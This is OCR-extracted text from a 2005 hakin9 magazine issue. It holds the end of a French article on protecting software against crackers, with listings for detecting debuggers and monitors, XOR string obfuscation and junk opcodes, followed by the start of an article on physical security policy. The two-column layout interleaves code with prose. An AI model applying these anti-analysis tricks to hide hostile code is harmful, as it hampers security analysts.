push offset @fin vous obtenez la valeur 1Eh (voir le
ret Listing 8).
@fin:
ret
Que faire après la détection
end;
du débogueur ?
except end; Dans les premiers exemples, nous
présentons le message informant

62 www.hakin9.org hakin9 N o 3/2005


Protection contre les pirates informatiques

l'utilisateur de la détection de Sof-


tIce. En réalité, vous devriez l'éviter Listing 6. Détection du débogueur à l'aide de l'interruption INT 41h
vu que c'est une facilité pour le pirate var
essayant de craquer votre logiciel. Conserver :pointer;
Après avoir reçu un tel message,
le pirate pourra rechercher dans le begin
try
code une chaîne texte parlant de la
asm
détection de SoftIce puis trouver et mov Conserver,esp ; la valeur du registre ESP est conservée
rendre inoffensif le moyen de sécuri- push offset @suivant ; descripteur pour
sation utilisé. ; SetUnhandledExceptionFilter
Le mieux est de ne pas informer call SetUnhandledExceptionFilter ; appeler l'exception
mov eax, 4Fh ; la valeur 4fh est chargée dans EAX
sur la détection du débogueur mais
int 41h ; appeler l'interruption INT 41h
d'utiliser un truc pouvant dérouter cmp eax, 0F386h ; comparer EAX avec 0F386h, si les
le voleur. Une bonne idée est de ; valeurs sont égales, SoftIce est détecté
charger les valeurs suivantes dans la jnz @suivant ; si elles ne sont pas égales
variable appropriée : ; (eax <> 0F386), le débogueur est absent
Call ExitProcess ; quitter le logiciel si SoftIce
; est détecté
• 1 – si le débogueur a été dé- @suivant: ; c'est ici où l'on va si SoftIce
tecté, ; n'est pas détecté
• 0 – si le débogueur n'est pas pré- mov esp, Conserver ; restaurer la valeur originale
sent. ; du registre ESP
push offset @fin
ret
Au démarrage du logiciel, il est @fin:
possible de vérifi er la valeur de ret
cette variable en appellant le bou- end;
ton Enregistrement, par exemple. except end;

Si celle-ci est égale à 1, l'applica-


tion cesse de fonctionner ou elle
cesse de réagir. Si cependant la
valeur est égale à 0, le logiciel Listing 7. Détection de SoftIce à l'aide de l'interruption int68h
marche de façon standard. Pour en
trouver un exemple, reportez-vous asm
mov ah, 43h ; chargement de la valeur 43h dans le registre AH
au Listing 9.
int 68h ; appeler l'interruption int68h
Où faut-il mettre les détecteurs cmp ax, 0F386h; comparer le contenu du registre AX avec la valeur 0F386h
de SoftIce ? La solution idéale est jnz @suivant ; s'il n'y a pas de zéro (AX <> 0F386h),
d'en avoir plusieurs et de les répar- ; SoftIce n'est pas détecté
tir dans des endroits différents du call ExitProcess ; quitter le logiciel

code et non pas dans la même par-


@suivant: ; le logiciel continue à s'exécuter
tie l'un à côté de l'autre. L'un peut ret
s'activer au démarrage du logiciel end;
et l'autre peut être caché derrière
le bouton d'enregistrement. Le fait
d'insérer ces fonctions l'une après Filemon et Regmon En procédant de la même ma-
l'autre permettra au pirate de les Si vous utilisez dans votre logiciel le nière, il est possible de détecter
trouver facilement et de les rendre fichier d'enregistrement ou si vous le logiciel Regmon. Pour cela,
impuissantes. enregistrez dans le registre Windows il suffit de remplacer dans les lis-
les clés prouvant l'enregistrement du tings le nom du fichier du pilote par
Détecter OllyDbg logiciel, faites attention aux logiciels \.\REGVXD et le nom de la fenêtre par
Un autre débogueur populaire tels que Filemon et Regmon. Le Registry Monitor – Sysinternals:
s'appelle OllyDbg (voir la Figure 1). premier enregistre tous les fichiers www.siliconrealms.com .
Comme il marche dans l'environne- ouverts et le second toutes les lignes
ment fenêtres, vous pouvez le détec- dans le registre. Chiffrer une chaîne
ter grâce à un texte figurant dans la Ces deux logiciels peuvent être de caractères
barre de titre de la fenêtre. C'est la détectés de deux façons. L'une con- La plupart des messages impor-
chaîne OllyDbg et vous la trouverez siste à trouver le pilote dans la mé- tants dans votre application doi-
en utilisant la fonction FindWindowEx moire (Listing 11) et l'autre à détecter vent être chiffrés. Grâce à cela,
(voir le Listing 10). la fenêtre (Listing 12). il sera plus difficile au pirate de

hakin9 N o 3/2005 www.hakin9.org 63


trouver une bonne piste car au
Listing 8. Détection de SoftIce à l'aide de la table IDT lieu de Numéro de série invalide,
var
par exemple, il verra dans le code
IDT : integer; une chaîne de caractères sans
Conserver: pointer; signification comme, par exemple,
Űüđĺçôâüń&úâěµűŕřđçµćđçě˙űě.
begin
Sur le Listing 13, vous voyez
try
asm
un petit programme permettant de
chiffrer une chaîne de caractères
mov Conserver,esp ; la valeur du registre ESP est conservée choisie. La fonction d'encryptage
push offset @suivant ; descripteur pour étant très simple n'utilise que l'ins-
; SetUnhandledExceptionFilter
truction xor. Bien sûr, il est possible
call SetUnhandledExceptionFilter ; appeler l'exception
sidt fword ptr IDT ; lecture de la table IDT
de l'améliorer mais n'oubliez pas que
mov eax, dword ptr [IDT+2] ; chargement dans EAX votre objectif principal est de rendre
add eax,8 la chaîne texte illisible et que grâce
mov ebx, [eax] ; EBX = INT1 aux propriétés de l'instruction xor,
add eax, 16
vous ne serez pas obligé d'écrire la
mov eax, [eax] ; EAX = INT3
and eax, 0ffffh
fonction d'inversion.
and ebx, 0ffffh Pour utiliser la fonction d'en-
sub eax, ebx ; soustraire INT 1 de INT 3 cryptage, essayons de chiffrer un
cmp eax, 01eh ; si EAX = 01Eh, SoftIce est détecté texte (Numéro de série invalide, par
jnz @suivant ; si EAX <> 0, le débogueur
exemple) et mettons en pratique le
; n'est pas détecté
call ExitProcess ; quitter le logiciel
résultat obtenu dans le logiciel (voir
@suivant: ; c'est ici où l'on va le Listing 14). Dans le désassem-
; si SoftIce n'est pas détecté bleur, le pirate verra la chaîne de
mov esp, Conserver ; restaurer la valeur originale caractères Űüđĺçôâüń&úâěµűŕřđç
; du registre ESP
µćđçě˙űě au lieu de la chaîne texte
push offset @fin
ret
Numéro de série invalide. Ainsi,
@fin: vous devez chiffrer les messages
ret concernant l'enregistrement ou
end; la protection du logiciel. Pour les
autres messages, il vaut mieux de
except end;
ne pas les chiffrer car cela pourrait
éveiller les soupçons du pirate.

Listing 9. La procédure à appliquer en cas de détection du débogueur Dummy opcodes,


var variable: byte; à savoir comment
procedure verifier
rendre le code illisible
begin
Dummy opcodes peuvent être dé-
finies tout simplement comme des
if instructions sans tâches à effectuer
CreateFileA('\\.\SICE', GENERIC_READ or GENERIC_WRITE, n'ayant pour but que de salir le code
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
du logiciel. Cependant, elles sont
FILE_ATTRIBUTE_NORMAL, 0) <> INVALID_HANDLE_VALUE
then
une arme efficace dans le combat
begin contre les pirates. Si vous utilisez
variable:=1 les junks dans votre code (c'est une
end; autre appellation pour les instruc-
Défense

end;
tions de ce type), le pirate verra lors
{........partie suivante du logiciel......}
du déboguage le code qui ne lui per-
mettra pas l'interprétation détaillée
procedure TForm1.enregistrementClick(Sender: TObject); des instructions importantes. Le
begin code débogué sera si sali qu'il serait
if variable=1 then
très difficile d'y trouver les instruc-
ExitProcess(0);
{si la variable n'est pas égale à 1, vous pouvez continuer}
tions standard.
end; Le craquage du logiciel sans
supprimer les junks est un vrai

64 www.hakin9.org hakin9 N o 3/2005


Protection contre les pirates informatiques

défi. Grâce à cela, vous gagnez du


temps et le pirate perd patience. Listing 10. Détection du débogueur OllyDbg
En plus, le désassembleur ne se if
débrouille pas bien avec les junks. FindWindowEx(0,0,0, ‘OllyDbg') <> 0
Le code est toujours peu lisible. then
Pour utiliser les dummy opcodes begin
ExitProcess(0);
dans votre logiciel, servez-vous
end;
des instructions assembleur. Voici
un exemple :
Listing 11. Détection du logiciel Filemon grâce à son pilote
asm
db $EB, $02, $CD, $20 if
end; CreateFileA(' \\.\FILEVXD', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0) <> INVALID_HANDLE_VALUE
Ce junk , donné en exemple, était uti- then
lisé autrefois dans les exe-protectors begin
professionnels (logiciels ayant pour ExitProcess(0);
but de sécuriser les fichiers exécu- end;

tables PE dans Windows). Sous la


forme assembleur standard, il se
présenterait ainsi : Listing 12. Détection de la fenêtre du logiciel Filemon

jmp $+4 if
FindWindowEx(0,0,0, §
int 20h
'File Monitor - Sysinternals: www.sysinternals.com') <> 0
then
Les instructions de type jmp $(+/- begin
nombre) permettent de se déplacer ExitProcess(0);
d'un nombre des octets donné (en end;

avant ou en arrière en fonction de +


ou -). Grâce à cela, les opcods sont
interprétés de mauvaise façon et le Listing 13. Fonction d'encryptage affichant une chaîne texte
code devient compliqué. Essayez de
déboguer vous-même du code com- function encryptage(text:string):string;
var t:integer;
prenant ce type d'instructions pour
ch:char;
comprendre comment cela marche by:byte;
en pratique. tmp:string;
Cependant, vous devez savoir afficher:string;
où et comment insérer les junks. begin
for t:=1 to length(text) do
Tout d'abord, il faut que ceux-ci
begin
soient utilisés en grand nombre by:=ord(text[t]);
dans le code vérifiant le numéro by:=by xor $2F;
de série de votre logiciel. En outre, by:=by xor $10;
il est possible de les mettre dans les by:=by xor $AA;
ch:=char(by);
messages informant sur l'expiration
tmp:=tmp+ch;
du délai d'utilisation du logiciel end;
ou pour vérifier la présence d'un afficher:=tmp;
débogueur. L'exemple d'utilisation showmessage(afficher);
des opcodes est présentée sur le
Listing 15.
Il faut dire que l'utilisation ci-des- Listing 14. Utiliser une chaîne texte chiffrée dans le message
sus des junks est peu confortable.
C'est pourquoi, il est possible de if
Registration = 0
créer un fichier comme, par exem-
then
ple, dummy.jnk, d'y déclarer votre begin
insertion et de mettre le nom du fi - encryptage('Űüđĺçôâüń&úâěµűŕřđçµćđçě˙űě ');
chier : {$I dummy.jnk} devant chaque end;
instruction.

hakin9 N o 3/2005 www.hakin9.org 65


les différents trucs. Une méthode
Listing 15. Utilisation des dummy opcodes dans le code efficace consiste à insérer un code
asm db $EB, $02, $CD, $20 end;
supplémentaire faux, responsable
asm db $EB, $02, $CD, $20 end; de l'enregistrement (faux bien évi-
asm db $EB, $02, $CD, $20 end; demment).
Vous pourrez, par exemple, met-
if Registered = 1
tre en pratique une longue fonction
then
begin
de vérification qui, en cas de cra-
MessageBox(0,PChar('Merci de vous avoir enregistré!'), quage, affichera un message non
PChar('Info'),MB_ICONINFORMATION); chiffré sur l'enregistrement réussi.
end; Le pirate penserait que le logiciel est
craqué tandis que vous changeriez
asm db $EB, $02, $CD, $20 end;
asm db $EB, $02, $CD, $20 end;
seulement la chaîne unregistered
asm db $EB, $02, $CD, $20 end; par registered to: xxx sans déver-
rouiller en même temps les fonctions
indisponibles dans la version d'éva-
Listing 16. Utilisation d'un fichier externe en vue de dérouter le pirate luation.
Une autre méthode consiste
if à utiliser un fichier externe. Si dans
CreateFileA('register.dat', GENERIC_READ or GENERIC_WRITE,
le répertoire de l'application, il n'y
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0) = INVALID_HANDLE_VALUE
a pas de fichier approprié comme,
then par exemple, register.dat, le logiciel
begin passe à la fausse procédure vérifiant
aide:= 1 le numéro de série ou il ferme tout de
end;
suite la fenêtre d'enregistrement (voir
{........partie suivante du logiciel......}
procedure TForm1.enregistrementClick(Sender: TObject);
le Listing 16).
begin
if aide = 1 then La course au temps
begin Les méthodes que vous avez vues
FakeProcedure;
vous permettent de prolonger la
end;
{si la variable n'est pas égale à 1,
protection de votre logiciel – le
la vérification est effectuée de façon standard} pirate devra y consacrer plus de
RegistrationProc; temps. En outre, vous pouvez uti-
end; liser les exe-protectors qui sont
vraiment très nombreux. Parmi
eux, il y a, entre autres, les logiciels
Les dummy opcodes sont une Soyez cependant prudent car leur ASProtect ou Armadillo. PESpin
bonne méthode pour se protéger mauvaise création peut contribuer est un bon protecteur gratuit polo-
contre les pirates et c'est pourquoi, au plantage du logiciel. nais (voir le cadre Sur le réseau).
il est bien d'en utiliser plusieurs. Le logiciel où vous utiliserez aussi
La taille du code n'augmentera Astuces finales bien vos propres moyens de sécu-
pas considérablement et votre En sécurisant votre logiciel con- risation qu'exe-protector aura des
protection sera efficace. Le mieux tre les pirates, pensez avant tout chances d'échapper aux tentatives
est d'associer les différents junks à les dérouter. Pour cela, utilisez de craquage. n
les uns avec les autres – créer,
par exemple, trois junks différents
et utiliser l'un ou l'autre ou l'un Sur le réseau :
après l'autre. Voici deux autres
Défense

• http://www.pespin.w.interia.pl/ – le logiciel PESpin,


dummy opcodes :
• http://www.pelock.com/ – le logiciel PELock,
• http://www.sysinternals.com/ – les logiciels Filemon et Regmon,
db $EB, $02, $25, $02, $EB, $02, § • http://home.t-online.de/home/Ollydbg/ – le débogueur OllyDbg,
$17, $02, $EB, $02, $AC, $F9, § • http://www.aspack.com/asprotect.html – le site du logiciel ASProtect,
$EB, $02, $F1, $F8 • http://www.compuware.com/products/devpartner/bounds.htm – le projet Bounds
db $E8,$01,$00,$00,$00,$33,$83,$C4,$04 Checker,
• http://www.siliconrealms.com/ – le protecteur Armadillo,
Vous pouvez expérimenter vous-mê- • mailto: jakub-nowak@o2.pl – contacter l'auteur.
me en inventant vos propres junks.

66 www.hakin9.org hakin9 N o 3/2005


Conception de systèmes
de sécurité physique
Jeremy Martin

Dépenser de l'argent dans la


protection de données pouvant
être recréées ne présente
aucun intérêt ; que pourrait-
il se passer concrètement ?
– des commentaires de ce genre
émanent d'un trop grand nombre
de cadres issus des hautes
sphères dirigeantes. Du mauvais
emploi de la part de l'employé
à l'espionnage industriel, en
passant par les catastrophes
naturelles, il existe une grande
variété de menaces dirigées
contre les actifs d'une société.

E
n pleine nuit, un couloir vide résonne ser de traces. Tout ceci aurait pu être évité si
du son de verres brisés, suivi du bruit seulement des contrôles appropriés avaient été
étouffé de pas se dirigeant vers la salle, mis en place.
sans surveillance, où se trouvent les serveurs. Le présent article a pour objectif de pré-
Quelques minutes plus tard, on peut entendre un senter certains problèmes liés à la sécurité
véhicule qui s'éloigne rapidement. Le lendemain physique et la façon de minimiser les mena-
matin, la première personne entrant dans l'im- ces internes grâce à l'installation de contrôles
meuble signale à la police une fenêtre cassée. d'accès. Seront uniquement évoquées ici les
Quelques heures plus tard, les inspecteurs cons-
tatent que rien n'a été volé et classent l'incident
dans la catégorie du vandalisme aléatoire. Cet article explique...
Deux mois après l'incident, le PDG, hors de
• la plupart des menaces communes visant la
lui, réunit en urgence ses collaborateurs après
sécurité des entreprises,
avoir pris connaissance, dans un magazine
• la façon de protéger votre organisation ainsi
commercial, d'informations aux conséquences que vos données contre les menaces physi-
dévastatrices pour sa société. La concurrence ques,
vient de lancer sur le marché un produit identi- • la façon d'élaborer une politique de sécurité
que à celui que sa société a développé à coût physique.
Défense

de plusieurs millions d'euros. Le cambriolage


d'il y deux mois était finalement bien plus que Ce qu'il faut savoir...
du simple vandalisme mais s'avère être de
l'espionnage industriel. Selon des spécialistes • vous devriez idéalement posséder une expé-
indépendants de la sécurité, le cambrioleur a rience en gestion des ressources humaines,
utilisé un CD ROM Linux auto-bootable pour • vous devriez parallèlement connaître les ba-
ses en matière de conception de procédures
court-circuiter les contrôles de sécurité pré-
de sécurité technique.
sents, puis a tout simplement copié les secrets
de fabrication, pour finalement partir sans lais-

68 www.hakin9.org hakin9 N o 3/2005


Sécurité physique

procédures d'entreprises. Toutefois, Il nous faut tout d'abord définir les personnes offrant leur propre
toute suggestion est digne d'intérêt, la nature des différentes menaces assurance.
tant pour les entreprises commercia- physiques existantes : • La loi SOX représente la Loi
les que pour les individus. américaine Oxley-Sarbannes de
Les contrôles d'accès, il est utile • menaces émanant des individus 2002 ; il s'agit d'une réponse lé-
de s'en souvenir, se déclinent en – pertes, grèves, maladies etc., gislative à l'encontre du scandale
trois branches : physiques, adminis- • sabotage et vandalisme, comptable provoqué par la faillite
tratives et techniques. • pannes matérielles, récente de sociétés ouvertes
• catastrophes naturelles – tor- cotées en Bourse. La loi SOX
Les contrôles d'accès nades, tremblements de terre, exige une certaine conformité
physiques inondations etc., ainsi qu'une réforme complète
Selon le site Web du Ministère de • catastrophes induites par l'hom- et détaillée des procédures
l'Énergie des États-Unis, « Par me – terrorisme, incendies volon- comptables à l'encontre des
sécurité physique, on entend tout taires, explosions, sociétés dites ouvertes (faisant
d'abord la protection physique des • pertes liées aux installations appel public à l'épargne) afin de
informations sensibles et protégées, électriques, systèmes de chauf- diffuser et d'améliorer la qua-
du personnel, des installations, ou fage, de ventilation et de clima- lité ainsi que la transparence des
de tout autre matériel sensible, des tisation, inondations. rapports financiers tenus par des
ressources, ou l'ensemble des pro- auditeurs indépendants à la fois
cessus visant à se défendre contre Une fois ces menaces bien en tête, internes et externes à la société.
les activités d'espionnage criminel- il devient possible d'évaluer la meilleu- • La loi GLBA représente la Loi
les, terroristes, ou hostiles ». re protection des actifs. Par exemple : américaine Gramm-Leach-Bliley
dans le cas d'une perte de courant, de 1999 ; La Loi relative à la
vous pouvez vous doter d'un géné- Modernisation des Finances de
À propos de l'auteur rateur de rechange afin de garantir 1999, également connue sous
Fort de plus de 10 ans d'expérience la bonne exécution des systèmes cri- le nom de Loi Gramm-Leach-
dans le secteur des Technologies de
tiques, l'éclairage pour les employés, Bliley ou Loi GLB, comprend des
l'Information (références : CISSP, IS-
ainsi que la disponibilité du système dispositions visant à protéger
SMP, ISSAP, CHS-III, CEI, CEH, CC-
NA, Network+, A+), Jeremy Martin est
de téléphone numérique. Dans le cas les informations financières per-
aujourd'hui directeur de la communica- d'une panne de matériel, il est fort pro- sonnelles des consommateurs
tion pour la société PLUSS SA. Il est bable que vous souhaitiez épargner détenues par les institutions
également membre de diverses organi- les pièces disponibles ou souscrire financières. Il existe trois parties
sations dont l'ACFEI (American College à un contrat de maintenance avec un principales qui énoncent les exi-
of Forensic Examiners International, ou fournisseur pour un remplacement im- gences liées au respect de la vie
École Internationale Américaine des médiat. Il vous faut également garder privée : la Financial Privacy Rule
Examinateurs Médico-Légaux), la à l'esprit la réglementation relative (soit la Règle sur les Données Fi-
BECCA (Business Espionage Controls à votre secteur d'activité ou les lois nancières Privées, en français),
and Countermeasures Association, ou
territoriales qui vous assurent une Safeguards Rule (soit la Règle
Association des Contre-mesures et
certaine couverture tout en exigeant relative à la Sauvegarde, en
Contrôles de l'Espionnage Industriel),
(ISC)² – de l'International Information
certaines mises en conformité. Voici français) et Pretexting Provisions
Systems Security Certification Con- les réglementations les plus connues (des dispositions annexes).
sortium, ou Consortium International dans le secteur relatif à la sécurité des
de Certification pour la Sécurité des Technologies de l'Information (voir Les contrôles physiques ne sont que
Systèmes d'Information, de l'ISACA également l'Encadré Sur le réseau) : des mécanismes conçus dans le but
(Information Systems Audit and Con- de minimiser le risque d'une menace.
trol Association, ou Association pour • La loi HIPAA représente l'arti- L'installation d'un verrou sur une porte
le Contrôle et l'Audit des Systèmes cle 104-191 du droit public des suffit à décourager un voleur potentiel.
d'Information), de l'ISSA (Information États-Unis : Health Insurance L'étape suivante consisterait à ajouter
Systems Security Association, ou
Portability and Accountability un verrou biométrique tel qu'un nu-
Association pour la Sécurité des Sys-
Act of 1996 (soit la Loi relative mériseur d'empreintes de manière
tèmes d'Information), du YEN NTEA
(Young Executives Network, ou Réseau
à la Responsabilité et au Trans- à rendre l'accès à une zone sécurisée
des Jeunes Cadres Dirigeants) et enfin fert de l'Assurance Maladie, en plus difficile pour un intrus déterminé.
du OISSG (Open Information Systems français). Cette loi couvre les Ce temps supplémentaire est parfois
Security Group, ou Groupe pour la organisations qui dispensent des suffisant aux autorités pour éliminer
Sécurité des Systèmes d'Information soins médicaux telles que les une menace. Les portes ne sont pas
Ouverts). hôpitaux, les cliniques, les com- les seuls éléments susceptibles d'être
pagnies d'assurance, et même verrouillés. Les ordinateurs portables,

hakin9 N o 3/2005 www.hakin9.org 69


les ordinateurs, et les bâtis de ser- ou des zones sécurisées s'avère être La partie la plus importante de tout
veurs devraient également faire l'objet une bonne solution interdisant l'entrée dispositif de sécurité est sans aucun
de telles considérations. Nul ne con- ou la sortie des personnes non autori- doute le personnel. La sécurité hu-
naît jamais le moment où un parfait sées sans avoir été au préalable iden- maine devrait toujours être considé-
étranger pénètrera dans vos locaux, tifiées et enregistrées. Clôturer les rée en premier lieu. Le personnel est
agira comme un de vos employés, périmètres d'accès joue également également le maillon faible dans tout
pour en sortir muni d'un ordinateur un rôle important dans l'interdiction dispositif de sécurité – le facteur hu-
portable de votre société ou de tout et la détection des accès non autori- main présente bien plus de variables
autre actif de valeur. Or, ce genre d'in- sés avant que des intrus ne pénètrent que tout autre élément. Ignorer les
trusion se manifeste bien plus souvent dans vos locaux. Les clôtures se dé- politiques et les procédures de sé-
que l'on pourrait le croire. clinent en différentes solutions : curité du personnel peut se révéler
tout aussi dangereux qu'une attaque
Les stations de travail • entre 1 et 1,20 mètres de hauteur volontaire de la part d'un employé
De nombreuses sociétés sont allées afin de décourager de simples mécontent. Malheureusement, les
jusqu'à supprimer l'ensemble des intrus, attaques internes représentent la
lecteurs de disques, la possibilité • entre 1,8 et 2 mètres de hauteur menace la plus répandue et sont les
d'avoir recours aux dispositifs de type découragent la plupart des vo- moins abordées (pour de nombreu-
USB/COM/LPT, ainsi que les mots de leurs potentiels, ses raisons). C'est la raison pour la-
passe chargés de protéger le système • 2,50 mètres recouvertes de quelle les contrôles d'accès doivent
BIOS des stations de travail afin d'évi- feuillards décourageront tout le être installés et développés au sein
ter l'installation de programmes, des monde mis à part de véritables d'une politique complète et détaillée.
utilisations non autorisées, et le vol. intrus déterminés. Les contrôles dits administratifs
Un des scénarii de protection consiste comprennent la formation, les me-
à avoir recours au Windows 2003 Ter- Les clôtures évoluent aujourd'hui sures d'urgence et les contrôles du
minal Server ainsi qu'à une distribu- vers les clôtures PIDAS. PIDAS est personnel. La formation permet aux
tion Linux bootable personnalisée. Si l'acronyme de Perimeter Intrusion utilisateurs d'identifier de possibles
la configuration est préétablie et si le Detection and Assessment System menaces tout en leur fournissant les
réseau n'utilise pas de serveur DHCP, (que l'on pourrait traduire par Sys- informations nécessaires pour agir
il est censé être plus difficile de forcer tème d'Évaluation et de Détection en conséquence. Lors d'un incendie,
le système. En même temps on résout d'Intrusion sur le Périmètre). Cette par exemple, le personnel – s'il est
les problèmes avec des spyware, des clôture est dotée de capteurs placés entraîné correctement – devrait être
malware et des virus. sur ses fils de fer ainsi qu'à sa base. familier avec les issues de secours
La sécurité physique doit éga- Ce système est conçu dans le but de et le point de rassemblement. La
lement prendre en considération, détecter les coupures dans les fils formation permet également aux
à un niveau supérieur, la protection de fer et les vibrations potentielles, utilisateurs de repérer des attaques
des données dites sensibles contre provoquées par l'escalade. non techniques telles que l'ingénierie
la surveillance connue sous le nom L'éclairage est souvent négligé sociale dans la mesure où ils con-
de TEMPEST (cf. l'article de Robin comme moyen de sécuriser une zone naissent la véritable nature de ces
Lobel TEMPEST – Émissions com- donnée. Lorsqu'une zone est bien attaques. Pour les personnes char-
promettantes dans ce numéro de ha- éclairée, les risques d'intrusions sont gées des mesures d'urgence, des po-
kin9) – ainsi que la protection contre réduits par crainte d'être vu. L'éclairage litiques définies devraient les aider à
la capture des fuites de radiations aide également les surveillants ainsi minimiser les dégâts en cas de crise.
électromagnétiques. La technolo- que le matériel de surveillance à dé- Les contrôles du personnel doi-
gie de surveillance du programme tecter une action malveillante en cours. vent être envisagés sous forme de
TEMPEST décode les informations Le National Institute of Standards and mesures préventives et de bonnes
dans un format utilisable pouvant Technology, également connu sous le pratiques. Avant d'embaucher un futur
être reproduites à distance. Cette nom de NIST (ou l'Institut National des employé, les références de ce dernier
surveillance peut être évitée en ins- Normes et de la Technologie, en fran- doivent être croisées avec d'autres
Défense

tallant des matériaux spéciaux au çais), déclare que les zones critiques informations pertinentes afin d'éva-
sein des locaux lors de la construc- devraient être éclairées à 2,5 mètres luer le risque potentiel pour la société
tion de l'espace protégé et/ou des de haut au moyen de deux lampes. que pourrait représenter la personne
boîtiers spéciaux destinés à abriter en question. Une fois la personne
les systèmes informatiques. Les contrôles d'accès intégrée à la société, celle-ci devrait
administratifs progresser en suivant un ensemble
La protection des locaux Considérons maintenant les person- d'examens prédéfinis afin de mainte-
L'installation d'un sas ou d'un jeu de nes en qui vous placez votre con- nir une conformité des deux parties,
double portes à l'entrée de vos locaux fiance. Qu'en est-il des employés ? en effectuant une rotation des pos-

70 www.hakin9.org hakin9 N o 3/2005


Sécurité physique

Exemple d'une politique de sécurité physique


1. Présentation générale autour des salles des serveurs ou des équipements, des labora-
Les intentions de la société Insecure Company, Ltd. de publier toires d'essais et d'autres zones où sont utilisées ou stockées des
une Politique de Sécurité Physique n'ont pas pour objectif d'im- informations sensibles ou confidentielles ou des actifs.
poser des restrictions contraires à la culture depuis longtemps L'entrée dans une zone sécurisée au moyen de références
établie d'ouverture, de confiance mutuelle et d'intégrité de la so- non assignées à des individus spécifiques est strictement inter-
ciété Insecure Company, Ltd. Cette société s'est engagée à pro- dite. L'entrée dans une zone sans identification appropriée ou en
téger ses employés, ses partenaires commerciaux et la société l'absence d'autorisation est également interdite.
elle-même contre des actions illégales ou dommageables me- La sécurité physique implique également une planification
nées par des individus, de manière volontaire ou involontaire. soigneuse des installations de manière à toujours garantir la con-
Un système de sécurité efficace implique l'effort d'une équi- formité des zones verrouillées ou isolées aux exigences d'issues
pe soutenue par la participation et le soutien de chaque employé de secours et de lutte contre les incendies.
de la société Insecure Company, Ltd. et de leur collaborateur. Il Les barrières de périmètre devraient être un système PIDAS
est de la responsabilité de chaque employé ou hôte de connaître contrôlé par surveillance extérieure évaluée pour des conditions
ces lignes directrices, et de mener leur activité en conséquence. de faible éclairage.
La vidéo et autres formes électroniques de surveillance,
2. Objectif ou systèmes d'authentification à plusieurs facteurs, sont des
Cette politique a pour objectif d'exposer les grandes lignes de éléments essentiels pour la vérification de preuves d'identité pré-
la conception du plan de sécurité physique chez Insecure Com- sentées par les individus munis d'un accès aux zones sensibles.
pany, Ltd. Ces règles sont mises en place dans le but de protéger Les données issues des systèmes d'authentification et des
les employés ainsi que la société Insecure Company, Ltd. dispositifs de surveillance devraient être archivées pendant une
période minimale de 7 ans en conformité avec les réglementa-
3. Domaine d'application tions locales et celles du secteur d'activité.
Cette politique s'applique aux employés, fournisseurs, consul- Les systèmes d'informations seront dotés de copies de sau-
tants, employés temporaires, et hôtes de la société Insecure vegarde situées hors site et chargées de transporter des informa-
Company, Ltd., y compris à l'ensemble du personnel associé tions mises à jour dans le cas de catastrophes à la fois naturelles
à des tiers. ou provoquées par l'homme.

4. Politique 5. Mise en application


L'accès général aux installations de la société : cet élément Tout employé surpris en flagrant délit de violation de cette po-
représente toujours le premier niveau de sécurité physique. Le litique peut faire l'objet d'une action disciplinaire, pouvant aller
personnel devra être identifié au moyen d'une carte d'identifica- jusqu'à la résiliation de l'emploi.
tion pour obtenir un accès d'entrée. Les hôtes et visiteurs doivent
s'inscrire à chaque poste d'entrée, se verront remettre un badge 6. Définitions
temporaire ou une carte d'identification, et seront accompagnés
par un employé durant l'ensemble de leur passage sur les instal- Termes Définitions
lations de la société. La surveillance Regroupement, analyse,
L'accès dit sensible : badges de sécurité, cartes à puce et archivage des données
intelligentes ou autres formes d'identification électronique trans- La résiliation Fin d'un processus
portées par le personnel et pouvant être scannées de manière
répétée. Des contrôles d'accès supplémentaires seront installés 7. Historique de modifications

tes pour bénéficier d'une formation après avoir remis l'ensemble des ou Télévision en Circuit Fermé, en
mutuelle, et en séparant ses tâches biens de la société qui lui a été confié. français), la gestion des pannes de
afin de réduire les activités potentiel- Le sabotage émanant d'un employé matériel, les dispositifs de rechange
lement immorales ou les accidents. mécontent peut généralement être et l'alimentation électrique. Si un
Cette combinaison de processus évité au moyen de contrôles d'accès système CCTV avait été installé dans
destinée aux employés actuels per- et de personnel. le scénario évoqué au début du pré-
met de maintenir un contrôle sur eux sent article, l'intrus aurait été identifié
et la société peut ainsi mettre en œu- Les contrôles d'accès d'après les enregistrements et aurait
vre toute sa réactivité face aux pro- techniques pu être intercepté. Certains systèmes
grès et aux projets réalisés. Lorsqu'un Ces contrôles couvrent, parmi CCTV sont même dotés de capacités
employé quitte la société, il doit être d'autres sujets, les systèmes dits d'alarmes capables de se déclencher
escorté jusqu'à la sortie des locaux CCTV (pour Closed Circuit Television lorsqu'un mouvement ou de la chaleur

hakin9 N o 3/2005 www.hakin9.org 71


sont détectés et peuvent également L'alimentation en électricité, venant perturber le flux de ce cou-
provoquer un événement afin de quant à elle, est tout simplement rant numérique.
prévenir les autorités concernées. l'énergie vitale de tout système
Selon les réglementations relatives électronique. Vient ensuite une ali- La mise à la terre
à votre secteur d'activité, les séquen- mentation électrique stabilisée ou Une masse dans un circuit électri-
ces vidéo peuvent faire l'objet d'un l'alimentation à régulation de ten- que est un cheminement de retour
archivage pendant trente six mois, sion. Réguler la source d'alimen- commun représentant le niveau
et parfois plus. De nombreuses com- tation permet d'éviter les excès de référence de tension zéro pour
pagnies d'assurance seront prêtes d'électricité (pointes ou surtensions l'équipement ou le système, et est
à diminuer le montant des primes transitoires), les pertes de puissance généralement reliée à la terre. En
mensuelles lorsqu'un système CCTV (défauts ou extinctions), ainsi que les l'absence de sol approprié, le cou-
est installé. Le choix d'investir dans dégradations de puissance (flèches, rant deviendrait instable et peut pro-
cette technologie en est d'autant plus brides, ou éclairage réduit). Cette ré- voquer l'activation des disjoncteurs.
intéressant. gulation peut être réalisée au moyen Lorsqu'il est installé correcte-
Les pannes de matériel sont de dispositifs UPS. Une alimentation ment, le cheminement à faible résis-
inévitables. Le problème n'est pas non régulée est souvent à l'origine tance fourni par le fil de garde offre
d'émettre des conjonctures, mais de composants électroniques, de une faible résistance et une capacité
de savoir quand elles auront lieu. données ainsi que de performance d'acheminement de courant suffisan-
De nombreux fournisseurs vous réseaux endommagés. tes pour empêcher l'accumulation de
proposeront une Durée Moyenne hautes tensions dangereuses. Une
de Rétablissement (ou Mean Time La connectivité du réseau seule prise de courant ou un support
To Repair, MTTR, en anglais) pour Un réseau – il s'agit d'une définition léger présentant un fil endommagé
